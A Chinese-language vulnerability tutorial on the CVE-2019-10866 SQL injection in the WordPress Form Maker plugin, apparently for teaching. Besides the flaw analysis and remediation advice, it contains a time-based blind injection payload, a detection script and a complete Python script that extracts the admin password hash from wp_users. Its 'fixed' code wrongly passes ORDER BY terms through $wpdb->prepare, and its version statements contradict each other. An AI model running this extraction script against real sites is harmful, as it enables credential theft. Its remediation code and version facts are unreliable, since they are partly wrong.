WordPress插件Form Maker SQL注入漏洞分析
字数 975 2025-08-18 11:38:41

WordPress插件Form Maker SQL注入漏洞分析教学文档

漏洞概述

漏洞名称: WordPress插件Form Maker SQL注入漏洞
CVE编号: CVE-2019-10866
影响版本: Form Maker 1.13.3之前版本
漏洞类型: SQL注入
风险等级: 高危
漏洞位置: /wp-content/plugins/form-maker/admin/models/Submissions_fm.php

漏洞原理分析

漏洞代码位置

漏洞存在于Form Maker插件的两个关键文件中:

  1. /wp-content/plugins/form-maker/admin/models/Submissions_fm.php
  2. /wp-content/plugins/form-maker/admin/controllers/Submissions_fm.php

关键漏洞代码

// Submissions_fm.php
$order_by = WDW_FM_Library(self::PLUGIN)->get('order_by', 'group_id');
$asc_or_desc = WDW_FM_Library(self::PLUGIN)->get('asc_or_desc', 'desc');

if ($order_by == 'group_id' or $order_by == 'date' or $order_by == 'ip') {
    $orderby = ' ORDER BY ' . $order_by . $asc_or_desc . '';
}

漏洞成因

  1. 参数未过滤$asc_or_desc参数直接从用户输入获取,未经任何过滤或验证
  2. 直接拼接SQL:用户控制的$asc_or_desc参数直接拼接到SQL查询中
  3. 缺乏预处理:未使用参数化查询或转义特殊字符

漏洞利用点

攻击者可以通过控制asc_or_desc参数注入恶意SQL代码,例如:

,(case+when+(select+sleep(5)+from+wp_user+limit+1)+then+1+else+2+end)+asc+--+

漏洞复现

环境搭建

  1. WordPress版本: 5.1
  2. Form Maker版本: 1.13.3
  3. 禁用自动更新: 确保插件不会自动更新

漏洞验证POC

import requests
import time

url_vuln = 'http://target/wp-admin/admin.php?page=submissions_fm&task=display&current_id=2&order_by=group_id&group_id&asc_or_desc='

# 测试时间型盲注
payload = ',(case+when+(select+sleep(5)+from+wp_user+limit+1)+then+1+else+2+end)+asc+--+'

start_time = time.time()
requests.get(url_vuln + payload)
elapsed_time = time.time() - start_time

if elapsed_time >= 5:
    print("Vulnerable to SQL injection")

漏洞利用

数据提取脚本

import requests
import time

url_vuln = 'http://target/wp-admin/admin.php?page=submissions_fm&task=display&current_id=2&order_by=group_id&group_id&asc_or_desc='
session = requests.Session()

# 字典包含所有可能的字符
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'

def get_admin_pass():
    password = ""
    position = 1
    found = True
    
    while found:
        found = False
        for char in dictionary:
            # 构造时间型盲注payload
            payload = f',(case+when+(select+ascii(substring(user_pass,{position},1))+from+wp_users+where+id=1)={ord(char)}+then+(select+sleep(5)+from+wp_users+limit+1)+else+2+end)+asc--'
            
            start_time = time.time()
            session.get(url_vuln + payload)
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= 5:
                password += char
                print(f"Found character: {char}, Current password: {password}")
                position += 1
                found = True
                break
    
    print(f"[+] Admin password hash: {password}")

get_admin_pass()

修复方案

  1. 参数过滤:对asc_or_desc参数进行严格过滤,只允许特定值(asc/desc)
  2. 使用预处理语句:改为使用参数化查询
  3. 权限限制:限制非管理员用户访问敏感功能

修复代码示例

// 修复后的代码应包含参数验证
$allowed_order = ['asc', 'desc'];
$asc_or_desc = WDW_FM_Library(self::PLUGIN)->get('asc_or_desc', 'desc');

if (!in_array(strtolower($asc_or_desc), $allowed_order)) {
    $asc_or_desc = 'desc';
}

// 使用prepare方法安全构建查询
$wpdb->prepare(' ORDER BY %s %s', $order_by, $asc_or_desc);

安全建议

  1. 及时更新:升级到Form Maker 1.13.3或更高版本
  2. 最小权限原则:限制WordPress后台访问权限
  3. 输入验证:对所有用户输入进行严格验证
  4. 安全编码:避免直接拼接SQL查询,使用预处理语句
  5. 安全审计:定期对插件进行安全审计

总结

该漏洞展示了Web应用程序中常见的SQL注入风险,特别是当用户输入直接拼接到SQL查询中时。开发人员应始终遵循安全编码实践,对所有用户输入进行验证和转义,并使用参数化查询来防止SQL注入攻击。

WordPress插件Form Maker SQL注入漏洞分析教学文档 漏洞概述 漏洞名称 : WordPress插件Form Maker SQL注入漏洞 CVE编号 : CVE-2019-10866 影响版本 : Form Maker 1.13.3之前版本 漏洞类型 : SQL注入 风险等级 : 高危 漏洞位置 : /wp-content/plugins/form-maker/admin/models/Submissions_fm.php 漏洞原理分析 漏洞代码位置 漏洞存在于Form Maker插件的两个关键文件中: /wp-content/plugins/form-maker/admin/models/Submissions_fm.php /wp-content/plugins/form-maker/admin/controllers/Submissions_fm.php 关键漏洞代码 漏洞成因 参数未过滤 : $asc_or_desc 参数直接从用户输入获取,未经任何过滤或验证 直接拼接SQL :用户控制的 $asc_or_desc 参数直接拼接到SQL查询中 缺乏预处理 :未使用参数化查询或转义特殊字符 漏洞利用点 攻击者可以通过控制 asc_or_desc 参数注入恶意SQL代码,例如: 漏洞复现 环境搭建 WordPress版本 : 5.1 Form Maker版本 : 1.13.3 禁用自动更新 : 确保插件不会自动更新 漏洞验证POC 漏洞利用 数据提取脚本 修复方案 参数过滤 :对 asc_or_desc 参数进行严格过滤,只允许特定值(asc/desc) 使用预处理语句 :改为使用参数化查询 权限限制 :限制非管理员用户访问敏感功能 修复代码示例 安全建议 及时更新 :升级到Form Maker 1.13.3或更高版本 最小权限原则 :限制WordPress后台访问权限 输入验证 :对所有用户输入进行严格验证 安全编码 :避免直接拼接SQL查询,使用预处理语句 安全审计 :定期对插件进行安全审计 总结 该漏洞展示了Web应用程序中常见的SQL注入风险,特别是当用户输入直接拼接到SQL查询中时。开发人员应始终遵循安全编码实践,对所有用户输入进行验证和转义,并使用参数化查询来防止SQL注入攻击。